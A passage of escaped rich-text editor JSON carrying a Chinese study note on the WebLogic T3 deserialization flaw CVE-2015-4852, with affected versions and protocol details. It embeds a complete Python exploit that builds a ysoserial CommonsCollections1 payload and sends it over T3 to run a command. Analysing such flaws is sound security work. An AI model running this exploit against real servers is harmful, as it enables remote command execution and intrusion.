RMI的实现，其主要使用Weblogic自有的T3协议和基于Corba的IIOP协议进行客户端与服务端之间的传输。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;c4Ts-1673505380809&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Fhpd-1673505380807&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;数据包中前四个字符描述数据包长度，而后为T3的协议头，同时每个标准反序列化头部aced0005前会新增一个fe010000字段：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;DR8A-1673505381525&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/4963/WEBRESOURCEe44aaacd6cc4d45e000151c0d2beac0f&#34;,&#34;width&#34;:2058,&#34;height&#34;:1616},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;9eGc-1673493702659&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/4952/WEBRESOURCEac5e2b49c529dd47e3d31d31627e229c&#34;,&#34;width&#34;:560,&#34;height&#34;:204},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ORod-1673493024074&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;rhUQ-1673493024075&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;更多内容参考：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;tmgK-1673493762548&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ecUD-1673493762547&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]},{&#34;type&#34;:&#34;inline&#34;,&#34;id&#34;:&#34;WqpW-1673493762925&#34;,&#34;name&#34;:&#34;link&#34;,&#34;data&#34;:{&#34;href&#34;:&#34;https://mp.weixin.qq.com/s?__biz=MzU5NDgxODU1MQ==&amp;mid=2247485058&amp;idx=1&amp;sn=d22b310acf703a32d938a7087c8e8704&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Tjjy-1673493762926&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;https://mp.weixin.qq.com/s?__biz=MzU5NDgxODU1MQ==&amp;mid=2247485058&amp;idx=1&amp;sn=d22b310acf703a32d938a7087c8e8704&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;knIi-1673493762938&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;bBNc-1673493748254&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;6cJn-1673493748252&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;l79f-1673493773767&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h2&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;IAlj-1673493773766&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;CVE-2015-4852&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;r5M5-1673851457133&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;pZY7-1673851457134&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;影响范围：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;IJI3-1673851463438&#34;,&#34;name&#34;:&#34;list-item&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;listId&#34;:&#34;WCRs-1673851496211&#34;,&#34;listLevel&#34;:1,&#34;listType&#34;:&#34;unordered&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;u6bg-1673851463437&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Oracle WebLogic Server 10.3.6.0&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{&#34;index&#34;:1}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;RzLZ-1673851502693&#34;,&#34;name&#34;:&#34;list-item&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;listId&#34;:&#34;WCRs-1673851496211&#34;,&#34;listLevel&#34;:1,&#34;listType&#34;:&#34;unordered&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;jzUQ-1673851502692&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Oracle WebLogic Server 12.2.1.0&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{&#34;index&#34;:2}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;d2HC-1673851496206&#34;,&#34;name&#34;:&#34;list-item&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;listId&#34;:&#34;WCRs-1673851496211&#34;,&#34;listLevel&#34;:1,&#34;listType&#34;:&#34;unordered&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;suVy-1673851496205&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Oracle WebLogic Server 12.1.3.0&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{&#34;index&#34;:3}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;vkSr-1673851496208&#34;,&#34;name&#34;:&#34;list-item&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;listId&#34;:&#34;WCRs-1673851496211&#34;,&#34;listLevel&#34;:1,&#34;listType&#34;:&#34;unordered&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;PMGB-1673851496207&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Oracle WebLogic Server 12.1.2.0&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{&#34;index&#34;:4}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;IKHp-1673851446141&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;mrmo-1673851446139&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;漏洞分析：&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:22},{&#34;type&#34;:&#34;bold&#34;}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;kTy2-1673493798953&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;0KZo-1673493798954&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;找了一份&#34;,&#34;marks&#34;:[]}]},{&#34;type&#34;:&#34;inline&#34;,&#34;id&#34;:&#34;05Iv-1673503802099&#34;,&#34;name&#34;:&#34;link&#34;,&#34;data&#34;:{&#34;href&#34;:&#34;https://xz.aliyun.com/u/38490&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;QALS-1673503802101&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;sp4z&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;bold&#34;},{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#000000&#34;}]}]}]},{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Vjr0-1673503802116&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;师傅的脚本：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;nDt2-1673503811887&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;wrap&#34;:false,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;KSCC-1673503811886&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Jjmu-1673503809293&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;from os import popen&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;PeVu-1673503823677&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;KJVv-1673503823676&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import struct # 负责大小端的转换&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Mh9o-1673503823679&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;6Wz7-1673503823678&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import subprocess&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Y06G-1673503823681&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;8jlr-1673503823680&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;from sys import stdout&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;DtyQ-1673503823683&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;K5nP-1673503823682&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import socket&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;24qh-1673503823685&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;qk0X-1673503823684&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import re&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;kHOY-1673503823687&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;5FVh-1673503823686&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import binascii&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;85R4-1673503823689&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Fp9o-1673503823688&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;2UKR-1673503823691&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;dZ67-1673503823690&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;def generatePayload(gadget,cmd):&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ylG4-1673503823693&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;M2C4-1673503823692&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    YSO_PATH = \&#34;/Users/.../ysoserial-0.0.6-SNAPSHOT-BETA-all.jar\&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;MQYo-1673503823695&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;cTS2-1673503823694&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    popen = subprocess.Popen([&#39;java&#39;,&#39;-jar&#39;,YSO_PATH,gadget,cmd],stdout=subprocess.PIPE)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;F4Pd-1673503823697&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;pe42-1673503823696&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    return popen.stdout.read()&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;cb2g-1673503823699&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;LkvM-1673503823698&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;v7pe-1673503823701&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;PTCr-1673503823700&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;def T3Exploit(ip,port,payload):&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;4MiV-1673503823703&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;m9S2-1673503823702&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    sock =socket.socket(socket.AF_INET,socket.SOCK_STREAM)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;gEiZ-1673503823706&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;dKrZ-1673503823705&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    sock.connect((ip,port))&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;8v3P-1673503823708&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;CA7z-1673503823707&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    handshake = \&#34;t3 12.2.3\\nAS:255\\nHL:19\\nMS:10000000\\n\\n\&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;X4Rl-1673503823710&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;6Cu3-1673503823709&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    sock.sendall(handshake.encode())&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;13IQ-1673503823712&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Yumg-1673503823711&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    data = sock.recv(1024)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;npKH-1673503823714&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;1fvT-1673503823713&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    compile = re.compile(\&#34;HELO:(.*).0.false\&#34;)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;TmVs-1673503823716&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;XZEc-1673503823715&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    match = compile.findall(data.decode())&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ZdUo-1673503823718&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;xG4S-1673503823717&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    if match:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;cCC5-1673503823720&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;yk7D-1673503823719&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        print(\&#34;Weblogic: \&#34;+\&#34;\&#34;.join(match))&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Pm0q-1673503823722&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;7W1E-1673503823721&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    else:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;uiri-1673503823724&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;txqo-1673503823723&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        print(\&#34;Not Weblogic\&#34;)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ctJG-1673503823726&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;YRUi-1673503823725&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        return&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;4zQu-1673503823728&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;KST2-1673503823727&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    header = binascii.a2b_hex(b\&#34;00000000\&#34;)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;vCFM-1673503823730&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;QghN-1673503823729&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    t3header = binascii.a2b_hex(b\&#34;016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006\&#34;)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;wzMr-1673503823732&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;tm0p-1673503823731&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    desflag = binascii.a2b_hex(b\&#34;fe010000\&#34;)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;cXXx-1673503823734&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;gTJb-1673503823733&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    payload = header + t3header  +desflag+  payload&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ZpTQ-1673503823736&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;4IWA-1673503823735&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    payload = struct.pack(\&#34;&gt;I\&#34;,len(payload)) + payload[4:]&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;lUDD-1673503823738&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;cuKj-1673503823737&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    sock.send(payload)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;xTGM-1673503823740&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ekgt-1673503823739&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;if __name__ == \&#34;__main__\&#34;:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;0Yhy-1673503823742&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ntO4-1673503823741&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    ip = \&#34;127.0.0.1\&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;k9yL-1673503823744&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;xSE5-1673503823743&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    port = 7001&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;LORI-1673503823746&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;5GGa-1673503823745&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    gadget = \&#34;CommonsCollections1\&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;LhzG-1673503823748&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;LqpJ-1673503823747&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    cmd = \&#34;touch /tmp/success\&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;BtuA-1673503823750&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;yR4k-1673503823749&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    payload = generatePayload(gadget,cmd)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Uuvt-1673503823752&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Wz0s-1673503823751&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    T3Exploit(ip,port,payload)&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{&#34;language&#34;:&#34;python&#34;}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;5nBV-1673505956440&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;qvac-1673505956441&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;大概利用过程如下：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;80kL-1673505922919&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/4973/WEBRESOURCE7741c0cb5cd0bb05e84982082d40fe8a&#34;,&#34;width&#34;:2058,&#34;height&#34;:1616},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;DdYR-1673506013072&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/4977/WEBRESOURCEccc5a5f8e5079158d38c7553f31bd81b&#34;,&#34;width&#34;:1900,&#34;height&#34;:384},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Hpsd-1673505977742&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;knWh-1673505977741&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;代码调试：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Kh2F-1673513147126&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;wrap&#34;:false,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;cgza-1673513147125&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;VOLo-1673513129049&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;//wlserver/server/lib/wlthint3client.jar/weblogic/InboundMsgAbbrev.readobject()&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;bLGw-1673513153562&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;XFvy-1673513153561&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#222222&#34;},{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:14},{&#34;type&#34;:&#34;fontFamily&#34;,&#34;value&#34;:&#34;Arial&#34;}]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Svvc-1673513148012&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;I54x-1673513148010&#34;,&#34;leaves&#34;: